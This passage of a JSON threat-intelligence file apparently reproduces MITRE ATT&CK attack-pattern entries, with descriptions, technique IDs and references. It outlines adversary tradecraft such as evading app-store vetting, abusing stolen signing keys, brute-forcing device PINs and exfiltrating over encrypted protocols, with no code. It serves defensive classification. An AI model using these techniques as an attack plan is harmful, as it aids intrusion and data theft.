{
"authors": [
"MITRE"
],
"category": "attack-pattern",
"description": "ATT&CK tactic",
"name": "Attack Pattern",
"source": "https://github.com/mitre/cti",
"type": "mitre-attack-pattern",
"uuid": "dcb864dc-775f-11e7-9fbb-1f41b4996683",
"values": [
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1393).\n\nMany mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)",
"meta": {
"external_id": "T1393",
"kill_chain": [
"mitre-pre-attack:test-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1393"
]
},
"uuid": "c9e85b80-39e8-42df-b275-86a2afcea9e8",
"value": "Test ability to evade automated mobile application security analysis performed by app stores - T1393"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1391).\n\nThe adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)",
"meta": {
"external_id": "T1391",
"kill_chain": [
"mitre-pre-attack:persona-development"
],
"refs": [
"https://attack.mitre.org/techniques/T1391"
]
},
"uuid": "7a265bf0-6acc-4f43-8b22-2e58b443e62e",
"value": "Choose pre-compromised mobile app developer account credentials or signing keys - T1391"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1261).\n\nSoftware applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)",
"meta": {
"external_id": "T1261",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1261"
]
},
"uuid": "ef6197fd-a58a-4006-bfd6-1d7765d8409d",
"value": "Enumerate externally facing software applications technologies, languages, and dependencies - T1261"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1392).\n\nThe adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)",
"meta": {
"external_id": "T1392",
"kill_chain": [
"mitre-pre-attack:persona-development"
],
"refs": [
"https://attack.mitre.org/techniques/T1392"
]
},
"uuid": "d58f3996-e293-4f69-a2c8-0e1851cb8297",
"value": "Obtain Apple iOS enterprise distribution key pair and certificate - T1392"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1295).\n\nSocial media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)",
"meta": {
"external_id": "T1295",
"kill_chain": [
"mitre-pre-attack:people-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1295"
]
},
"uuid": "ee40d054-6e83-4302-88dc-a3af98821d8d",
"value": "Analyze social and business relationships, interests, and affiliations - T1295"
},
{
"description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ",
"meta": {
"external_id": "T1222.002",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Metadata",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1222/002",
"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
"https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110",
"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
]
},
"related": [
{
"dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196",
"type": "subtechnique-of"
}
],
"uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345",
"value": "Linux and Mac File and Directory Permissions Modification - T1222.002"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1336).\n\nAn adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)",
"meta": {
"external_id": "T1336",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1336"
]
},
"uuid": "73e394e5-3d8a-40d1-ab8c-a1b4ea9db424",
"value": "Install and configure hardware, network, and systems - T1336"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1354).\n\nThere is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)",
"meta": {
"external_id": "T1354",
"kill_chain": [
"mitre-pre-attack:build-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1354",
"https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage"
]
},
"uuid": "5a68c603-d7f9-4535-927e-ab56819eaa85",
"value": "Compromise 3rd party or closed-source vulnerability/exploit information - T1354"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1350).\n\nAn exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)",
"meta": {
"external_id": "T1350",
"kill_chain": [
"mitre-pre-attack:build-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1350",
"https://www.threatminer.org/_reports/2015/Equation_group_questions_and_answers.pdf"
]
},
"uuid": "82bbd209-f516-45e0-9542-4ffbbc2a8717",
"value": "Discover new exploits and monitor exploit-provider forums - T1350"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1330).\n\nA wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)",
"meta": {
"external_id": "T1330",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1330"
]
},
"related": [
{
"dest-uuid": "1a295f87-af63-4d94-b130-039d6221fb11",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "488da8ed-2887-4ef6-a39a-5b69bc6682c6",
"value": "Acquire and/or use 3rd party software services - T1330"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1307).\n\nA wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)",
"meta": {
"external_id": "T1307",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1307"
]
},
"related": [
{
"dest-uuid": "795c1a92-3a26-453e-b99a-6a566aa94dc6",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "286cc500-4291-45c2-99a1-e760db176402",
"value": "Acquire and/or use 3rd party infrastructure services - T1307"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1308).\n\nA wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)",
"meta": {
"external_id": "T1308",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1308"
]
},
"related": [
{
"dest-uuid": "488da8ed-2887-4ef6-a39a-5b69bc6682c6",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "1a295f87-af63-4d94-b130-039d6221fb11",
"value": "Acquire and/or use 3rd party software services - T1308"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1361).\n\nAn adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)",
"meta": {
"external_id": "T1361",
"kill_chain": [
"mitre-pre-attack:test-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1361"
]
},
"uuid": "c9ac5715-ee5c-4380-baf4-6f12e304ca93",
"value": "Test signature detection for file upload/email filters - T1361"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1329).\n\nA wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)",
"meta": {
"external_id": "T1329",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1329",
"https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
]
},
"related": [
{
"dest-uuid": "286cc500-4291-45c2-99a1-e760db176402",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "795c1a92-3a26-453e-b99a-6a566aa94dc6",
"value": "Acquire and/or use 3rd party infrastructure services - T1329"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1310).\n\nCode signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)",
"meta": {
"external_id": "T1310",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1310"
]
},
"related": [
{
"dest-uuid": "03f4a766-7a21-4b5e-9ccf-e0cf422ab983",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "e5164428-03ca-4336-a9a7-4d9ea1417e59",
"value": "Acquire or compromise 3rd party signing certificates - T1310"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1312).\n\nInstead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)",
"meta": {
"external_id": "T1312",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1312"
]
},
"related": [
{
"dest-uuid": "e51398e6-53dc-4e9f-a323-e54683d8672b",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "4900fabf-1142-4c1f-92f5-0b590e049077",
"value": "Compromise 3rd party infrastructure to support delivery - T1312"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1332).\n\nCode signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)",
"meta": {
"external_id": "T1332",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1332",
"https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
]
},
"related": [
{
"dest-uuid": "e5164428-03ca-4336-a9a7-4d9ea1417e59",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "03f4a766-7a21-4b5e-9ccf-e0cf422ab983",
"value": "Acquire or compromise 3rd party signing certificates - T1332"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1334).\n\nInstead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)",
"meta": {
"external_id": "T1334",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1334"
]
},
"related": [
{
"dest-uuid": "4900fabf-1142-4c1f-92f5-0b590e049077",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "e51398e6-53dc-4e9f-a323-e54683d8672b",
"value": "Compromise 3rd party infrastructure to support delivery - T1334"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nThrough social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)",
"meta": {
"external_id": "T1385",
"kill_chain": [
"mitre-pre-attack:compromise"
],
"refs": [
"https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/",
"https://attack.mitre.org/techniques/T1385"
]
},
"uuid": "fb39384c-00e4-414a-88af-e80c4904e0b8",
"value": "Human performs requested action of physical nature - T1385"
},
{
"description": "An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple's App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).\n\nDetection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple's App Store.\n\nPlatforms: iOS",
"meta": {
"external_id": "T1445",
"refs": [
"https://attack.mitre.org/techniques/T1445"
]
},
"related": [
{
"dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "51aedbd6-2837-4d15-aeb0-cb09f2bf22ac",
"value": "Abuse of iOS Enterprise App Signing Key - T1445"
},
{
"description": "Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices.\n\nApp stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses:\n\n* [Download New Code at Runtime](https://attack.mitre.org/techniques/T1407)\n* [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1406)\n\nAdversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang)\n\nAdversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer)\n\nAdversaries may also use control of a target's Google account to use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)",
"meta": {
"external_id": "ECO-22",
"kill_chain": [
"mitre-mobile-attack:initial-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://dl.acm.org/citation.cfm?id=2592796",
"http://www.vvdveen.com/publications/BAndroid.pdf",
"https://attack.mitre.org/techniques/T1475",
"https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/",
"https://jon.oberheide.org/files/summercon12-bouncer.pdf",
"https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html",
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html",
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html",
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html",
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html",
"https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei"
]
},
"uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a",
"value": "Deliver Malicious App via Authorized App Store - T1475"
},
{
"description": "An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).\n\nPlatforms: Android, iOS",
"meta": {
"external_id": "T1459",
"refs": [
"https://attack.mitre.org/techniques/T1459"
]
},
"related": [
{
"dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "f296fc9c-2ff5-43ee-941e-6b49c438270a",
"value": "Device Unlock Code Guessing or Brute Force - T1459"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1238).\n\nOnce generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)",
"meta": {
"external_id": "T1238",
"kill_chain": [
"mitre-pre-attack:priority-definition-direction"
],
"refs": [
"https://attack.mitre.org/techniques/T1238"
]
},
"uuid": "4fad17d3-8f42-449d-ac4b-dbb4c486127d",
"value": "Assign KITs, KIQs, and/or intelligence requirements - T1238"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1236).\n\nAnalysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)",
"meta": {
"external_id": "T1236",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1236"
]
},
"uuid": "8e927b19-04a6-4aaa-a42f-4f0a53411d27",
"value": "Assess current holdings, needs, and wants - T1236"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1237).\n\nOnce they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)",
"meta": {
"external_id": "T1237",
"kill_chain": [
"mitre-pre-attack:priority-definition-direction"
],
"refs": [
"https://attack.mitre.org/techniques/T1237"
]
},
"uuid": "03da0598-ed46-4a73-bf43-0313b3522400",
"value": "Submit KITs, KIQs, and intelligence requirements - T1237"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1321).\n\nCertain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)",
"meta": {
"external_id": "T1321",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1321"
]
},
"uuid": "0c592c79-29a7-4a94-81a4-c87eae3aead6",
"value": "Common, high volume protocols and software - T1321"
},
{
"description": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ",
"meta": {
"external_id": "T1048.001",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1048/001"
]
},
"related": [
{
"dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
"type": "subtechnique-of"
}
],
"uuid": "79a4052e-1a89-4b09-aea6-51f1d11fe19c",
"value": "Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001"
},
{
"description": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ",
"meta": {
"external_id": "T1048.002",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1048/002"
]
},
"related": [
{
"dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
"type": "subtechnique-of"
}
],
"uuid": "8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5",
"value": "Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1316).\n\nUsing alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)",
"meta": {
"external_id": "T1316",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1316"
]
},
"uuid": "b79e8a3f-a109-47c2-a0e3-564955590a3d",
"value": "Non-traditional or less attributable payment options - T1316"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1343).\n\nFor attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)",
"meta": {
"external_id": "T1343",
"kill_chain": [
"mitre-pre-attack:persona-development"
],
"refs": [
"https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/",
"https://attack.mitre.org/techniques/T1343"
]
},
"uuid": "9a8c47f6-ae69-4044-917d-4b1602af64d9",
"value": "Choose pre-compromised persona and affiliated accounts - T1343"
},
{
"description": "The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.\n\nPlatforms: Android, iOS",
"meta": {
"external_id": "T1473",
"refs": [
"https://attack.mitre.org/techniques/T1473"
]
},
"related": [
{
"dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "f9e4f526-ac9d-4df5-8949-833a82a1d2df",
"value": "Malicious or Vulnerable Built-in Device Functionality - T1473"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1389).\n\nMany applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)",
"meta": {
"external_id": "T1389",
"kill_chain": [
"mitre-pre-attack:technical-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1389"
]
},
"uuid": "ad124f84-52d2-40e3-95dd-cfdd44eae6ef",
"value": "Identify vulnerabilities in third-party software libraries - T1389"
},
{
